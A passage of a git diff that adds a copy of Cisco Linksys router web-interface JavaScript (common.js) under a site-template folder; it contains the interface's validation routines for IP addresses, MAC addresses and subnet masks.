x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(" + + + + + + + + + + + \ No newline at end of file diff --git a/Sites/Template/cisco_linksys/js/common.js b/Sites/Template/cisco_linksys/js/common.js new file mode 100644 index 0000000..07d06ff --- /dev/null +++ b/Sites/Template/cisco_linksys/js/common.js @@ -0,0 +1,1358 @@ + + +// * +// * Copyright (c)2002-2010 Cisco Systems, Inc. and/or its affiliates. All rights reserved. +// * + +ie4 = ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4 )) +ns4 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) < 6 )) +ns6 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 6 )) + +//var ie = (navigator.appName == "Microsoft Internet Explorer"); +//var ns = (navigator.appName == "Netscape"); + +//if(ns){ +// document.captureEvents(Event.MOUSEDOWN); +//} +//document.onmousedown = check_click; +//function check_click(){ +// if((ie && (event.button == 2 || event.button == 3)) || (ns && (e.which == 2 || e.which == 3))){ +// alert(""); +// return false; +// } +// else +// return true; +//} + +// 0.0.0.0 +var ZERO_NO = 1; // 0x0000 0001 +var ZERO_OK = 2; // 0x0000 0010 +// x.x.x.0 +var MASK_NO = 4; // 0x0000 0100 +var MASK_OK = 8; // 0x0000 1000 +// 255.255.255.255 +var BCST_NO = 16; // 0x0001 0000 +var BCST_OK = 32; // 0x0010 0000 + +var SPACE_NO = 1; +var SPACE_OK = 2; + +var IP_FULL = 1; +var IP_LAST = 2; + +//============FOR INDEX - DHCP of IP RANGE ================== +var RANGE_SET; +var DHCP_START_IP = new Array(); +var DHCP_END_IP = new Array(); +var RANGE_COUNT; +var MAX_RANGE_COUNT; +//============END OF FOR INDEX ================== + +//For auto detect in wait page. +var alive = false; + +function doRedirect() +{ + loadAlive(); + if(alive) + location.href = redirect_url; + else + setTimeout('doRedirect()', 2000); +} + +function loadAlive() +{ + var o = document.getElementById('ifr_alive'); + o.src = alive_url; +} + +function RemoveElement(F, N, bRemoveEmpty) +{ + for(i=0; i=start) ) + { +// alert(M1 +' value is out of range ['+ start + ' - ' + end +']'); +// alert(M1 + errmsg.err14 + '['+ start + ' - ' + end +']'); + alert(errmsg.err14 + '['+ start + ' - ' + end +'].'); + I.value = I.defaultValue; + return false; + } + else + I.value = d; // strip 0 + +} + + + +function valid_mac(I,T) +{ + var m1,m2=0; + + if(I.value.length == 1) + I.value = "0" + I.value; + + m1 =parseInt(I.value.charAt(0), 16); + m2 =parseInt(I.value.charAt(1), 16); + if( isNaN(m1) || isNaN(m2) ) + { +// alert('The WAN MAC Address is out of range [00 - ff]'); + alert(errmsg.err15); + I.value = I.defaultValue; + } + I.value = I.value.toUpperCase(); + if(T == 0) + { + if((m2 & 1) == 1){ +// alert('The second character of MAC must be even number : [0, 2, 4, 6, 8, A, C, E]'); + alert(errmsg.err16); + I.value = I.defaultValue; + } + } +} +function valid_macs_12(I){ + var m,m3; + if(I.value == "") + return true; +// if(I.value.length<2) +// I.value=0; + else if(I.value.length==12){ + for(i=0;i<12;i++){ + m=parseInt(I.value.charAt(i), 16); + if( isNaN(m) ) + break; + } + if( i!=12 ){ +// alert('The MAC Address is not correct!!'); + alert(errmsg.err17); + I.value = I.defaultValue; + } + } + else{ +// alert('The MAC Address length is not correct!!'); + alert(errmsg.err5); + I.value = I.defaultValue; + } + I.value = I.value.toUpperCase(); + if(I.value == "FFFFFFFFFFFF"){ +// alert('The MAC Address cannot be the broadcast address!!'); + alert(errmsg.err19); + I.value = I.defaultValue; + } + if(check_multicast_mac(I.value)){ + I.value = I.defaultValue; + } + m3 = I.value.charAt(1); +// if((m3 & 1) == 1){ + if((m3 & 1) == 1 || m3 == 'B' || m3 == 'D' || m3 == 'F'){ //modified by michael to deny the "B/D/F" char at 20080422 +// alert('The second character of MAC must be even number : [0, 2, 4, 6, 8, A, C, E]'); + alert(errmsg.err16); + I.value = I.defaultValue; + } +} +function valid_macs_17(I) +{ + oldmac = I.value; + var mac = ignoreSpaces(oldmac); + if (mac == "") + { + return true; + //alert("Enter MAC Address in (xx:xx:xx:xx:xx:xx) format"); + //return false; + } + var m = mac.split(":"); + if (m.length != 6) + { +// alert("Invalid MAC address format"); + alert(errmsg.err21); + I.value = I.defaultValue; + return false; + } + var idx = oldmac.indexOf(':'); + if (idx != -1) { + var pairs = oldmac.substring(0, oldmac.length).split(':'); + for (var i=0; i 2) { +// alert ("The WAN MAC Address is not correct!!"); + alert (errmsg.err22); + I.value = I.defaultValue; + return false; + } + for(iln = 0; iln < len; iln++) { + ch = nameVal.charAt(iln).toLowerCase(); + if (ch >= '0' && ch <= '9' || ch >= 'a' && ch <= 'f') { + } + else { +// alert ("Invalid hex value " + nameVal + " found in MAC address " + oldmac); +// alert (errmsg.err23 + nameVal + errmsg.err24 + oldmac); + alert (errmsg.err23); + I.value = I.defaultValue; + return false; + } + } + } + } + I.value = I.value.toUpperCase(); + if(I.value == "FF:FF:FF:FF:FF:FF"){ +// alert('The MAC Address cannot be the broadcast address!'); + alert(errmsg.err19); + I.value = I.defaultValue; + } + + if(check_multicast_mac(I.value)){ + I.value = I.defaultValue; + } + + m3 = I.value.charAt(1); +// if((m3 & 1) == 1){ + if((m3 & 1) == 1 || m3 == 'B' || m3 == 'D' || m3 == 'F'){ //modified by michael to deny the "B/D/F" char at 20080422 +// alert('The second character of MAC must be even number : [0, 2, 4, 6, 8, A, C, E]'); + alert(errmsg.err16); + I.value = I.defaultValue; + } + return true; +} +function ignoreSpaces(string) { + var temp = ""; + + string = '' + string; + splitstring = string.split(" "); + for(i = 0; i < splitstring.length; i++) + temp += splitstring[i]; + return temp; +} +function check_space(I,M1){ + M = unescape(M1); + for(i=0 ; i=0;i--){ + for(j=1;j<=8;j++){ + if((m[i] % 2) == 0) match0 = (3-i)*8 + j; + else if(((m[i] % 2) == 1) && match1 == -1) match1 = (3-i)*8 + j; + m[i] = Math.floor(m[i] / 2); + } + } + if(match0 > match1){ +// alert("Illegal subnet mask!"); + alert(errmsg.err27); + return false; + } + return true; +} +function valid_mask_one(F,N,flag){ + var match0 = -1; + var match1 = -1; + var m = 